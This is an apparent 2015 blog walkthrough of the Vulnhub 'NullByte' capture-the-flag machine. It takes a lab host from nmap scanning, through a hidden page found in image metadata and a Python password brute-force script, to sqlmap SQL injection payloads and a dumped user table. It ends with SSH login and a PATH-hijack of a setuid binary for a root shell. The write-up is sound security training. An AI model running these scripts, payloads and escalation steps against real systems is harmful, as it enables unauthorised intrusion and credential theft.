Vulnhub - NullByte

Posted on 11 Sep 2015 in security • 5 min read

NullByte

After the Acid challenge I was really motivated. Therefore I give a look at another vulnhub machine I had already download since a while: NullByte.

The goal is to root the server.

Host discovery

As always, we start with the host discovery with nmap, nikto and dirbuster:

nmap

nmap 192.168.0.20 -p0-65535 -A -oA nmap
# Nmap 6.47 scan initiated Thu Sep 10 10:01:29 2015 as: nmap -p0-65535 -A -oA nmap 192.168.0.20
Nmap scan report for 192.168.0.20
Host is up (0.0089s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          34677/tcp  status
|_  100024  1          37785/udp  status
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
34677/tcp open  status  1 (RPC #100024)
MAC Address: A0:88:B4:C7:17:2C (Intel Corporate)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is an HTTP server on the port 80 and an ssh service on port 777.

Exploitation

The web server display a picture with a simple message. Neither nikto nor dirbuster give us some lead. Let us run exiftool on the picture:

main.gif

main.gif

The comment filed is interesting:

ExifTool Version Number         : 8.60
File Name                       : main.gif
Directory                       : .
File Size                       : 16 kB
File Modification Date/Time     : 2015:09:10 10:07:39+02:00
File Permissions                : rw-r--r--
File Type                       : GIF
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302

What can we do with that?

kzMb5nVYJw

If we put this at the end of our url with land on another page. Dirbuster will never have find something like that!

It is a simple web page asking us for a key. When looking at the page code we notice:

<!-- this form isn't connected to mysql, password ain't that complex --!>

If there is no SQL injection and the password is simple we need to bruteforce it. I am not a huge fan of bruteforce but I wrote a simple script that use one of my password dictionary (mostly common word).

import requests

url = 'http://192.168.0.20/kzMb5nVYJw/index.php'
f=open('/usr/share/dict/cracklib-small', 'r')
password=f.readline()
data = {'key':password}
r = requests.post(url, data = data)
while 'invalid' in r.text:
    password=f.readline().strip()
    data = {'key':password}
    r = requests.post(url, data = data)

print(password)
print(r.text)

The password was "elite" and by entering it, we land on a new page.

420search.php

The 420search.php page let us query for an user. If we search 'plop' we got:

Fetched data successfully

If we search nothing we got:

:::text EMP ID :1 EMP NAME : ramses EMP POSITION :


EMP ID :2 EMP NAME : isis EMP POSITION : employee


Fetched data successfully

This time it is probably a SQL injection as there is no mention against it in the source code :D. If we introduce a double quote we got:

Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%"' at line 1

It looks like an SQL injection.

SQLi

Let us launch sqlmap:

[maggick@rootine sqlmap]$ python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plop'
         _
 ___ ___| |_____ ___ ___  {1.0-dev-e8f87bf}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:25:23

[15:25:23] [INFO] resuming back-end DBMS 'mysql' 
[15:25:23] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: usrtosearch (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: usrtosearch=-8936" OR 8832=8832#

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT - comment)
    Payload: usrtosearch=plop" AND (SELECT * FROM (SELECT(SLEEP(5)))bhRc)#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: usrtosearch=plop" UNION ALL SELECT CONCAT(0x71706b7871,0x5355686d62645446514a,0x7162716271),NULL,NULL#
---
[15:25:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0.12
[15:25:23] [INFO] fetched data logged to text files under '/home/maggick/.sqlmap/output/192.168.0.20'

[*] shutting down at 15:25:23

python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plo' --current-db got us the name of the current databse: seth.

python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plo' -D seth --tables got us the list of the tables in the database seth. There is only one table : users. Let us drop it:

$python2 sqlmap.py -u 'http://192.168.0.20/kzMb5nVYJw/420search.php?usrtosearch=plop' -D seth --dump
+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

It seems that ramses pass(word) is base64 encoded. After decoding, we got: c6d6bd7ebf806f43c76acc3681703b81 which looks like a md5 hash. A simple google search give us the associated password: omega.

We have a username and a password. We have also seen a ssh port at the nmap stage.

Shell exploitation

ssh

We try to connect to the non standard ssh port as ramses:

$ ssh 192.168.0.20 -p 777 -lramses
ramses@192.168.0.20's password:
omega

And it works.

Privilege elevation

We got a shell as a user now we need privilege escalation to become root. After trying sudo su we look at the bash_history:

ramses@NullByte:~$ cat .bash_history
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch
clear
sudo -s
cd /
ls
exit

Let see the /var/www/backup/ folder:

ramses@NullByte:/var/www/backup$ ls -l
total 12
-rwsr-xr-x 1 root root 4932 Aug  2 01:29 procwatch
-rw-r--r-- 1 root root   28 Aug  2 01:36 readme.txt

Interesting, we read the readme.txt file:

ramses@NullByte:/var/www/backup$ cat readme.txt
I have to fix this mess...

We execute procwatch:

ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1785 pts/0 00:00:00 procwatch 1786 pts/0 00:00:00 sh 1787 pts/0 00:00:00 ps

Seems like a ps, probably executing the command itself. Moreover it is own by root with the suid set (the s in the ls -l), meaning we execute this program with root privileges.

One classic vulnerability when a program executes another one is to use the PATH environment variable to execute a command of our choice instead of the command wanted by the program.

First of all we create a file with the command we want to execute and name it ps:

ramses@NullByte:/var/www/backup$ echo /bin/sh > ~/ps

We give the execution right to this file:

ramses@NullByte:/var/www/backup$ chmod +x ~/ps

We add the directory where we created this file to our PATH:

ramses@NullByte:/var/www/backup$ export PATH=~/:$PATH

We execute the original program:

ramses@NullByte:/var/www/backup$ ./procwatch

Magic happened, we got a root shell:

# whoami
root

Now we just need to search the flag:

# ls /root
proof.txt
# cat /root/proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d

It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com


USE THIS PGP PUBLIC KEY

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0

mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
RryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----

Conclusion

This box was fun. The url were unpredictable and dirbuster doesn't spoil all the fun for us. Thank to @ly0nx for this box and vulnhub as always.